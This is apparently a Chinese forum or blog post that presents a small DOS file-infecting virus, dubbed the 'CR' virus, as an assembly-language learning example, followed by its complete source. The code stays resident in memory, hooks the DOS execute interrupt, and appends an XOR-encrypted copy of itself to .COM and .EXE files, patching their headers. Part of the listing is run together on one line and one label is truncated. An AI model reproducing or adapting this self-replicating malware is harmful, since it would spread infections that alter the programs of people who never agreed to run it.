这个病毒虽然比较简单。但是麻雀虽小，五脏俱全。隐藏，感染，加密等模块应有尽有（只是不会破坏），是一个比较标准的DOS病毒，可以感染.EXE（不包括PE）和.COM的可执行文件。
如果您希望学习汇编语言，用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记，我们姑且称它为CR病毒吧。
baseoff equ 107h
code segment
assume cs:code,ds:code,es:code,ss:code
org 100h
main:
mov ax,offset begin
jmp ax
db ’cr’
begin:
push es
push ds
mov ax,cs
mov ds,ax
mov es,ax
call get_ip
push ax
mov ax,offset encodebegin
jmp short get_ip_end
oldhead db 0h,4ch,0cdh,21h,6 dup (?)
get_ip label near
mov bp,sp
mov bx,[bp]
ret
get_ip_end:
sub bx,112h ;get current offset
add ax,bx
push ax
pop di
mov si,di
cld
mov cx, offset endtag-offset encodebegin
mov dl, byte ptr [oldhead+bx]
push si
decode:
lodsb
xor al,dl
stosb ;decode at runtime
loop decode
retf ;retf cs:ip=encodebegin
db 62h
db 65h
encodebegin:
mov ax,9f80h
mov es,ax
cmp es:word ptr [virustag-baseoff],7263h
jz alreadyresident
push ds
mov ax,40h
mov ds,ax
mov di,13h ;get free memory
sub word ptr [di],2
pop ds
mov di,0
mov si,bx
add si,baseoff
mov cx,2048
cld
rep movsb ;resident in memory
nop
push bx
mov ax,9f80h
mov ds,ax
mov ax,3521h
int 21h
mov ds:word ptr[oldint21-baseoff],bx
mov dx,bx
mov ds:word ptr[oldint21-baseoff+2h],es
mov dx,offset newint21proc-baseoff
mov ax,2521h
int 21h
mov dx,offset newint12proc-baseoff
mov ax,2512h
int 21h
pop bx
alreadyresident:
mov ax,cs
mov ds,ax
mov es,ax
mov si,offset oldhead
add si,bx
mov di,0100h
cmp cs:word ptr oldhead[bx],6163h ;this is an infected EXE file
jz GotoExe
cld
mov cx,7
rep movsb
pop ds
pop es
cmp cs:word ptr oldhead[bx],4c00h
jz go_out
GotoOldHead: ;this is an infected COM file
mov ax,0100h
jmp ax
GotoExe:
pop ds
pop es
mov ax,ds
add ax,cs:ini_ss[bx] ;set old ss
add ax,10h
mov ss,ax
mov ax,cs:ini_sp[bx] ;set old sp
mov sp,ax
mov ax,ds
add ax,10h
add cs:ini_cs[bx],ax ;set old cs
jmp cs:dword ptr ini_ip[bx] ;jump to the normal EXE
go_out:
mov ah,4ch
int 21h
oldint21 dw 2 dup(?)
filehead db 18h dup (?)
filesize dw 2 dup(?)
virustag db ’cr’
infecthead:
mov ax,offset begin
jmp ax
db ’cr’
temp dw ?
ini_ip dw ?
ini_cs dw ?
ini_ss dw ?
ini_sp dw ?
newint21proc:
cmp ah,4bh
jz tryinfect
jmp int21h
tryinfect:
push ax ;begin to infect
push cx
push es
push di
push bx
push dx
push ds
mov ax,3d02h
int 21h
jnc openok
jmp notinfect ;open fail? not infect
openok:
push ds
push dx
push cs
pop ds
mov dx,offset filehead-baseoff
mov bx,ax
mov cx,18h
mov ah,3fh
int 21h
pop dx
pop ds
jc closefilenear ;read fail? not infect
mov di,offset filehead-baseoff
mov ax,9f80h
mov es,ax
cmp word ptr es:[di],5a4dh ;’MZ’ in head? EXE file...
jnz COM_infect
jmp EXE_infect
COM_infect:
cmp word ptr es:[di+5],7263h ;’cr’ in 105h? not infect
jz closefilenear
call getfilesize
cmp dx,0
jnz closefilenear ; file is too big..not infect
cmp ax,63000
ja closefilenear ; file is too big..not infect
cmp ax,10
jb closefilenear ; file is too small..not infect
;infect begin,hahahahaha....
jmp infectbegin
closefilenear:
jmp closefile
infectbegin:
mov ax,9f80h
mov ds,ax
mov es,ax
mov si,offset filehead-baseoff
mov di,offset oldhead-baseof
mov cx,10 cld rep movsb ;save the old file head call addvirustofile call mov_ptr_to_head mov di,offset infecthead-baseoff mov dx,di inc di mov cx,word ptr [filesize-baseoff] add cx,100h mov word ptr [di],cx mov cx,7 mov ah,40h int 21h closefile: mov ah,3eh int 21h ; close the file notinfect: pop ds pop dx pop bx pop di pop es pop cx pop ax int21h: jmp dword ptr cs:[oldint21-baseoff] getfilesize proc near mov ax,4202h xor cx,cx xor dx,dx int 21h jc closefile mov es:word ptr [filesize-baseoff],ax mov es:word ptr [filesize-baseoff+2],dx ;save the file size ret getfilesize endp addvirustofile proc near xor dx,dx mov ah,40h mov cx,offset encodebegin-offset begin int 21h jc closefile ;write fail... not infect cmp ax,cx jb closefile ;write fail... not infect mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2 mov dl,byte ptr oldhead-baseoff mov dh,dl mov di,dx mov si,offset encodebegin-baseoff mov dx,offset temp-baseoff encode_myself: push cx lodsw xor ax,di ;encode and then write into file mov temp-baseoff,ax mov ah,40h mov cx,2 int 21h jc closefile ;write fail... not infect cmp ax,cx jb closefile ;write fail... not infect pop cx loop encode_myself ret addvirustofile endp mov_ptr_to_head proc near mov ax,4200h xor cx,cx xor dx,dx int 21h jc closefile ret mov_ptr_to_head endp EXE_infect proc near mov ax,es:word ptr[di+2] ;exe size in the last sector mov dx,es:word ptr[di+4] ;total sectors of exe size push di dec dx mov cx,9 xor si,si get_size_in_head: shl dx,1 shl si,1 adc si,0 loop get_size_in_head add dx,ax adc si,0 mov di,dx call getfilesize ;get the exe file size cmp dx,si jnz exe_end_near ;not equal(file size and loading size) cmp dx,0fh ;not infect ja exe_end_near cmp ax,di pop di jnz exe_end_near jmp begininfectexe exe_end_near: jmp exe_end ;begin to infect exe begininfectexe: mov ax,writesize+10 mov cl,9 add ax,es:word ptr[di+2] ;add exe loading size mov si,ax and ax,1ffh mov es:word ptr[di+2],ax shr si,cl add es:word ptr[di+4],si push es pop ds mov word ptr[oldhead-baseoff],6163h ;write EXE’s tag mov ax,[di+14h] mov [ini_ip-baseoff],ax mov ax,[di+16h] mov [ini_cs-baseoff],ax mov ax,[di+10h] mov [ini_sp-baseoff],ax mov ax,[di+0eh] mov [ini_ss-baseoff],ax ;save the old ss,sp,cs,ip push di call addvirustofile pop di call mov_ptr_to_head mov ax,filesize-baseoff mov dx,[di+08h] mov cl,4 shl dx,cl ;dx=exe header size sub ax,dx push ax and ax,0fh mov [di+14h],ax ;modify sp,ip mov [di+10h],writesize+50 add word ptr [di+0ah],writesize/16+1 ;add the memory needed pop ax mov dx,filesize+2-baseoff mov cl,4 modify_cs: shr dx,1 rcr ax,1 loop modify_cs mov [di+16h],ax mov [di+0eh],ax ;modify cs and ss mov dx,di mov cx,18h mov ah,40h int 21h exe_end: jmp closefile EXE_infect endp newint12proc: mov ax,640 iret writesize equ $-begin endtag: code ends end main
